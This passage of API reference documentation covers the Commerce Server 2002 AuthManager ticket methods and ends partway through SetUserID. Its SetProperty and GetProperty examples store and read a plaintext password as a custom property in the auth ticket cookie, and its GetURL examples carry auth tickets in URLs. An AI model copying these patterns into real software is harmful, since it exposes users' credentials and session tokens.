AuthManager.GetProperty Method [Visual Basic]

Use this method to retrieve the value of the specified custom property from the current user ticket.

Definition

[C++]
HRESULT IMSCSAuthManager::GetProperty(
  EnumMSCS_TicketType enumTicketType,
  BSTR propName,
  VARIANT* pVarCustomPropVal
);
[Visual Basic]
Function GetProperty(
  enumTicketType As EnumMSCS_TicketType,
  propName As String
) As Variant

Parameters

enumTicketType [C++]
[in] An EnumMSCS_TicketType that indicates the type of ticket that contains the property.
enumTicketType [Visual Basic]
[in] An EnumMSCS_TicketType that indicates the type of ticket that contains the property.
propName [C++]
[in] A BSTR that contains the name of the property to retrieve.
propName [Visual Basic]
[in] A String that contains the name of the property to retrieve.
PVarCustomPropVal [C++]
[out, retval] A pointer to a VARIANT containing a BSTR with the value for the specified property in the current user ticket. If the property is not found, the pointer is set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the value for the specified property in the current user ticket. If the property is not found, the returned Variant is empty.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_PROPERTY | [C++] 0xC1004C27 [Visual Basic] &HC1004C27 | Invalid custom property name or value.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
E_UPM_AUTHMANAGER_TICKET_NOT_SET | [C++] 0xC1004C25 [Visual Basic] &HC1004C25 | Requested ticket not set.
MSG_UPM_AUTH_PROPNOTFOUND_ERROR | [C++] 0xC1004C00 [Visual Basic] &HC1004C00 | Requested property does not exist on the ticket.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table defines the possible values for the EnumMSCS_TicketType.

Name | Value | Description
enumMSCS_ProfileTicketType | 1 | A MSCSProfile ticket used for an anonymous user.
enumMSCS_AuthTicketType | 2 | A MSCSAuth ticket used for a registered user.

Use the SetProperty method to place custom property values in the current user ticket.

[C++]

The pVarCustomPropVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sPasswordValue is a String
' oAuthManager is a Commerce AuthManager object

sPasswordValue = oAuthManager.GetProperty(enumMSCS_AuthTicketType, _
 "Password")

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::SetProperty

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.SetProperty


IMSCSAuthManager2::GetURL Method [C++]

AuthManager.GetURL Method [Visual Basic]

Use this method to generate an encoded URL string.

Definition

[C++]
HRESULT IMSCSAuthManager::GetURL(
  BSTR FileName,
  BOOL fCookie,
  BOOL fSecure,
  VARIANT* pVarURLParameters,
  VARIANT* pVarURLValues,
  BSTR* pbstrRet
);
[Visual Basic]
Function GetURL(
  FileName As String,
  fCookie As Boolean,
  fSecure As Boolean,
  Optional pVarURLParameters As Variant,
  Optional pVarURLValues As Variant
) As String

Parameters

FileName [C++]
[in] A BSTR that contains the file name to reference in the URL.
FileName [Visual Basic]
[in] A String that contains the file name to reference in the URL.
fCookie [C++]
[in] A BOOL that indicates whether the user allows cookies.
fCookie [Visual Basic]
[in] A Boolean that indicates whether the user allows cookies.
fSecure [C++]
[in] A BOOL that indicates whether to output a secure URL (HTTPS). See the Remarks section for more information about using this parameter.
fSecure [Visual Basic]
[in] A Boolean that indicates whether to output a secure URL (HTTPS). See the Remarks section for more information about using this parameter.
pVarURLParameters [C++]
[in, optional, defaultvalue (NULL)] A pointer to a VARIANT containing a SAFEARRAY of parameter names to include in the URL.
pVarURLParameters [Visual Basic]
[in, optional] A SafeArray that contains a list of parameter names to include in the URL.
pVarURLValues [C++]
[in, optional] A pointer to a VARIANT containing a SAFEARRAY of parameter values that correspond to the parameter names.
pVarURLValues [Visual Basic]
[in, optional] A SafeArray that contains values that correspond to the parameter names.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the encoded URL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encoded URL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The encoded URL includes the host name (retrieved from the site configuration), the virtual directory in which the file is stored (determined by the scripting context), the name of the file, flags for cookie support and security, and optional custom name/value pairs (for example, the name "SKU" and the stock-keeping unit (SKU) value for an item in a shopping cart).

If cookies are not allowed, the cookie flag is set to False and the ticket is appended to the URL.

Note

  • When a cached HTML segment that contains a URL with an appended ticket is retrieved, the ticket needs to be replaced with the correct one (for the current user context).

Set the fSecure flag to True if you want to output a URL based on the securehostname property of the site. The Enable HTTPS property of the site must be True and the securehostname property of the site must be valid to output a valid secure URL.

Use the URLArgs or URLShopperArgs methods to encode a URL query string out of name/value pairs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrRet parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURL is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku"
saParameterValues(0) = "12345"

' Output a secure URL
sURL = oAuthManager.GetURL("filename.asp", False, True, _
 saParameterNames, saParameterValues)

' sURL = https://secure_host_name/virtual_directory/filename.asp?sku=12345&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E

' Output an insecure URL
sURL = oAuthManager.GetURL("filename.asp", False, False, _
 saParameterNames, saParameterValues)

' sURL = http://insecure_host_name/virtual_directory/filename.asp?sku=12345&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::GetUserID Method [C++]

AuthManager.GetUserID Method [Visual Basic]

Use this method to retrieve the user ID stored in a ticket.

Definition

[C++]
HRESULT IMSCSAuthManager::GetUserID(
  EnumMSCS_TicketType enumTicketType,
  VARIANT* pUserID
);
[Visual Basic]
Function GetUserID(
  enumTicketType As EnumMSCS_TicketType
) As Variant

Parameters

enumTicketType [C++]
[in] An EnumMSCS_TicketType that indicates the type of ticket that contains the user ID.
enumTicketType [Visual Basic]
An EnumMSCS_TicketType that indicates the type of ticket that contains the user ID.
pUserID [C++]
[out, retval] A pointer to a VARIANT containing a BSTR used to return the unique ID for the current user. If the appropriate ticket type is not found or there is no user ID, the returned VARIANT is set to type VT_NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the user ID. If the appropriate ticket type is not found or there is no user ID, the method returns NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table defines the possible values for the EnumMSCS_TicketType.

Name | Value | Description
enumMSCS_ProfileTicketType | 1 | A MSCSProfile ticket used for an anonymous user.
enumMSCS_AuthTicketType | 2 | A MSCSAuth ticket used for a registered user.

If the ticket type is a MSCSAuth ticket and the ticket has expired, the ticket will be deleted and the return value will be as if there was no ticket.

If the ticket type is a MSCSAuth ticket and the ticket is within five minutes of expiring, the last login time is refreshed to the current time, allowing an additional period for the ticket to be valid.

[C++]

The pUserID parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vUserID is a Variant
' oAuthManager is a Commerce AuthManager object

vUserID = oAuthManager.GetUserID(enumMSCS_ProfileTicketType)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::GetUserIDFromCookie Method [C++]

AuthManager.GetUserIDFromCookie Method [Visual Basic]

Use this method to retrieve a user ID stored in a cookie.

Definition

[C++]
HRESULT IMSCSAuthManager::GetUserIDFromCookie(
  BSTR cookieData,
  BSTR* pbstrUserID
);
[Visual Basic]
Function GetUserIDFromCookie(
  cookieData As String
) As String

Parameters

cookieData [C++]
[in] A BSTR that contains the Auth ticket cookie data.
cookieData [Visual Basic]
[in] A String that contains the Auth ticket cookie data.
pbstrUserID [C++]
[out, retval] A pointer to a BSTR used to return the user ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the user ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The cookie data is always URL decoded.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

Commerce Server 2002 Analysis applications use this method to extract user IDs from cookies found in Internet Information Services (IIS) log files.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrUserID parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' vUserID is a Variant
' oAuthManager is a Commerce AuthManager object

vUserID = oAuthManager.GetUserIDFromCookie(sCookieData)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::GetUserIDFromCookieAndKey Method [C++]

AuthManager.GetUserIDFromCookieAndKey Method [Visual Basic]

Use this method to retrieve the user ID stored in a cookie using an encryption key.

Definition

[C++]
HRESULT IMSCSAuthManager2::GetUserIDFromCookieAndKey(
  BSTR cookieData,
  BSTR encryptionKey,
  BSTR* pbstrUserID
);
[Visual Basic]
Function GetUserIDFromCookieAndKey(
  cookieData As String,
  encryptionKey As String
) As String

Parameters

cookieData [C++]
[in] A BSTR that contains the cookie.
cookieData [Visual Basic]
[in] A String that contains the cookie.
encryptionKey [C++]
[in] A BSTR that contains the encryption key.
encryptionKey [Visual Basic]
A String that contains the encryption key.
pbstrUserID [C++]
[out, retval] A pointer to a BSTR used to return the user ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the user ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The cookie data is always URL decoded.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

This method is similar to the GetUserIDFromCookie method, but allows you to specify the encryption key. This enables the decryption of persistent cookies when the ticket encryption keys have changed. Retaining the user ID when replacing outdated cookies prevents the Business Analytics System from treating the returning user as a new user.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrUserID parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' vUserID is a Variant
' oAuthManager is a Commerce AuthManager object

vUserID = oAuthManager.GetUserIDFromCookieAndKey(sCookieData, sKey)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::Initialize Method [C++]

AuthManager.Initialize Method [Visual Basic]

Use this method to initialize the AuthManager object.

Definition

[C++]
HRESULT IMSCSAuthManager::Initialize(
  BSTR bstrSiteName,
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the name of the Commerce Server 2002 Web site.
bstrSiteName [Visual Basic]
[in] A String that contains the name of the Commerce Server 2002 Web site.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The AuthManager object must be properly initialized to a valid site name immediately after creating the object and before any other AuthManager object method is used.

The first time any AuthManager object uses this method, it connects to the Administration database and caches the site configuration data using the SiteConfig object. When subsequent AuthManager objects call this method the data is read from the cache.

Use the Refresh method to update the site configuration data after any of the properties have been changed.

Use the UnInitialize method to delete the site-specific configuration resource properties from the cache when the site is no longer valid.

It is suggested that you instantiate and initialize the AuthManager object in the Global.asa file to make sure at least one instance of the object exists, and to ensure the dynamic-link library (DLL) is loaded in memory and not flushed out by Internet Information Services (IIS) for performance reasons. This AuthManager object should not be used elsewhere. A separate instance of the AuthManager object must be created and destroyed on each ASP page.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.Initialize(sSiteName)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::IsAuthenticated Method [C++]

AuthManager.IsAuthenticated Method [Visual Basic]

Use this method to determine whether the current user has a valid MSCSAuth ticket. This method also allows the determination of whether the user has been authenticated within a specified period of time.

Definition

[C++]
HRESULT IMSCSAuthManager::IsAuthenticated(
  long TimeWindow,
  VARIANT_BOOL* pboolAuth
);
[Visual Basic]
Function IsAuthenticated(
  Optional TimeWindow As Long
) As Boolean

Parameters

TimeWindow [C++]
[in, optional, defaultvalue (0)] A long that contains a time period in minutes.
TimeWindow [Visual Basic]
[in, optional, defaultvalue (0)] A Long that contains a time period in minutes.
pboolAuth [C++]
[out, retval] A pointer to a VARIANT_BOOL containing the authentication status of the current user.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean that indicates the authentication status of the current user.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A MSCSAuth ticket contains the time the user last logged in and a time window of validity. The ticket is no longer valid if the time since the last login has exceeded the time window specified in the SetAuthTicket method when the ticket was generated.

The optional time window parameter, TimeWindow, of this method allows checking whether the time since the user last logged in has exceeded a shorter time interval than the time window specified by the SetAuthTicket method. The default value of zero (0) is equivalent to setting the time window to the same value as specified in the SetAuthTicket method.

This method returns False if the user does not have an MSCSAuth ticket, the ticket is invalid, or the time since the user last logged in has exceeded the specified time window.

If the ticket is within five minutes of expiring, the last login time is refreshed to the current time, allowing an additional period for the ticket to be valid.

Ensure a log-off page is created and called for any logged-in user. The log-off page should either expire the MSCSAuth cookie or clear its contents.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pboolAuth parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

bAuth = oAuthManager.IsAuthenticated(lWindow)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::Refresh Method [C++]

AuthManager.Refresh Method [Visual Basic]

Use this method to update the cached site configuration resource properties after any of the properties have been changed.

Definition

[C++]
HRESULT IMSCSAuthManager::Refresh(
  BSTR bstrSiteName
);
[Visual Basic]
Sub Refresh(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Call this method immediately after changing any of the authentication related site configuration resource properties. Also, use this method when switching between Active Server Pages (ASP) and Microsoft Visual Basic Scripting Edition (VBScript) files and updating the site configuration properties.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.Refresh(sSiteName)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::SetAuthTicket Method [C++]

AuthManager.SetAuthTicket Method [Visual Basic]

Use this method to set an encrypted MSCSAuth ticket for a registered user.

Definition

[C++]
HRESULT IMSCSAuthManager::SetAuthTicket(
  BSTR UserID,
  VARIANT_BOOL fCookieSupport,
  long TimeWindow
);
[Visual Basic]
Sub SetAuthTicket(
  UserID As String,
  fCookieSupport As Boolean,
  TimeWindow As Long
)

Parameters

UserID [C++]
[in] A BSTR that contains the unique ID for the current user.
UserID [Visual Basic]
[in] A String that contains the unique ID for the current user.
fCookieSupport [C++]
[in] A VARIANT_BOOL that indicates whether session cookies are supported.
fCookieSupport [Visual Basic]
[in] A Boolean that indicates whether session cookies are supported.
TimeWindow [C++]
[in] A long that defines the time window in minutes that the MSCSAuth ticket is valid.
TimeWindow [Visual Basic]
[in] A Long that defines the time window in minutes that the MSCSAuth ticket is valid.
[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_CHARACTER_PRESENT | [C++] 0xC1004C23 [Visual Basic] &HC1004C23 | Invalid character (';' or '%' or '=') present in the user ID or the property name/value pair.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
MSG_UPM_AUTHID_TICKET_MAX_REACHED | [C++] 0xC1004C40 [Visual Basic] &HC1004C40 | The ticket has reached a maximum size of 4 Kilobytes of data.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The time the user last logged in is stored in the ticket, along with the length of time from the last login that the ticket is valid. This method will set the last login time to the current time on the local computer each time it is invoked.

If the current user is anonymous, use the SetProfileTicket method to generate an MSCSProfile ticket.

Caution

  • If an MSCSAuth ticket for the user already exists and an empty string is passed in as the ID for the user, the existing ticket is deleted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetAuthTicket "JoeUser@microsoft.com", True, 30

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::IsAuthenticated

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.IsAuthenticated


IMSCSAuthManager2::SetProfileTicket Method [C++]

AuthManager.SetProfileTicket Method [Visual Basic]

Use this method to set a MSCSProfile ticket for an anonymous user. An anonymous user is not registered with a site.

Definition

[C++]
HRESULT IMSCSAuthManager::SetProfileTicket(
  BSTR UserID,
  VARIANT_BOOL fCookieSupport
);
[Visual Basic]
Sub SetProfileTicket(
  UserID As String,
  fCookieSupport As Boolean
)

Parameters

UserID [C++]
[in] A BSTR that contains the unique ID for the current user.
UserID [Visual Basic]
[in] A String that contains the unique ID for the current user.
fCookieSupport [C++]
[in] A VARIANT_BOOL that indicates whether persistent cookies are supported.
fCookieSupport [Visual Basic]
[in] A Boolean that indicates whether persistent cookies are supported.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_CHARACTER_PRESENT | [C++] 0xC1004C23 [Visual Basic] &HC1004C23 | Invalid character (';' or '%' or '=') present in the user ID or the property name/value pair.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
MSG_UPM_AUTHID_TICKET_MAX_REACHED | [C++] 0xC1004C40 [Visual Basic] &HC1004C40 | The ticket has reached a maximum size of 4 Kilobytes of data.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the current user has registered, use the SetAuthTicket method to generate an MSCSAuth ticket.

Caution

  • If an MSCSProfile ticket for the user already exists and an empty string is passed in for the user ID, the existing ticket is deleted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetProfileTicket "74A38551-D6D8-FFD0-12BF-0A20C90DC8D1", True

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::IsAuthenticated

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.IsAuthenticated


IMSCSAuthManager2::SetProperty Method [C++]

AuthManager.SetProperty Method [Visual Basic]

Use this method to place a custom property name/value pair into the current ticket for the user.

Definition

[C++]
HRESULT IMSCSAuthManager::SetProperty(
  EnumMSCS_TicketType enumTicketType,
  BSTR propName,
  BSTR propVal
);
[Visual Basic]
Sub SetProperty(
  EnumMSCS_TicketType enumTicketType,
  propName As String,
  propVal As String
)

Parameters

enumTicketType [C++]
[in] An EnumMSCS_TicketType that indicates the type of ticket.
enumTicketType [Visual Basic]
[in] An EnumMSCS_TicketType that indicates the type of ticket.
propName [C++]
[in] A BSTR that contains the name of the property.
propName [Visual Basic]
[in] A String that contains the name of the property.
propVal [C++]
[in] A BSTR that contains the value corresponding to the named property.
propVal [Visual Basic]
[in] A String that contains the value corresponding to the named property.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_CHARACTER_PRESENT | [C++] 0xC1004C23 [Visual Basic] &HC1004C23 | Invalid character (';' or '=') present in the property name/value pair.
E_UPM_AUTHID_INVALID_PROPERTY | [C++] 0xC1004C27 [Visual Basic] &HC1004C27 | Invalid custom property name or value.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
MSG_UPM_AUTHID_TICKET_MAX_REACHED | [C++] 0xC1004C40 [Visual Basic] &HC1004C40 | The ticket has reached a maximum size of 4 Kilobytes of data.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetProperty method to retrieve the custom property values from the current ticket.

The following table defines the possible values for the EnumMSCS_TicketType.

Name | Value | Description
enumMSCS_ProfileTicketType | 1 | A MSCSProfile ticket used for an anonymous user.
enumMSCS_AuthTicketType | 2 | A MSCSAuth ticket used for a registered user.
[Visual Basic]

If the user does not already have an appropriate ticket, call SetAuthTicket or SetProfileTicket to obtain the ticket before calling this method. If this method is called while the user does not have an appropriate ticket, the user will be sent a cookie with the property, but no ticket.

[C++]

If the user does not already have an appropriate ticket, call SetAuthTicket or SetProfileTicket to obtain the ticket before calling this method. If this method is called while the user does not have an appropriate ticket, the user will be sent a cookie with the property, but no ticket.

This method will set the ticket in a cookie if the client browser supports cookies, otherwise, a subsequent call to the GetURL method will be required to set the ticket in the URL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetAuthTicket "JoeUser@microsoft.com", True, 30

' These two method calls do not have to be consecutive,
' or even in the same script, but do need to be in this order.

oAuthManager.SetProperty enumMSCS_AuthTicketType, "Password", "MyPassword123"

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::GetProperty

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.GetProperty


IMSCSAuthManager2::SetUserID Method [C++]

AuthManager.SetUserID Method [Visual Basic]

Use this method to change the user ID property on a ticket.

Definition

[C++]
HRESULT IMSCSAuthManager::SetUserID(
  EnumMSCS_TicketType enumTicketType,
  BSTR newUserID
);
[Visual Basic]
Sub SetUserID(
  enumTicketType As EnumMSCS_TicketType,
  newUserID As String
)

Parameters

enumTicketType [C++]
[in] An EnumMSCS_TicketType that indicates the type of ticket that will contain the user ID.
enumTicketType [Visual Basic]
An EnumMSCS_TicketType that indicates the type of ticket that will contain the user ID.
newUserID [C++]
[in] A BSTR that contains the unique ID for the current user.
newUserID [Visual Basic]
A String that contains the unique ID for the current user.
[C++]

Return Values

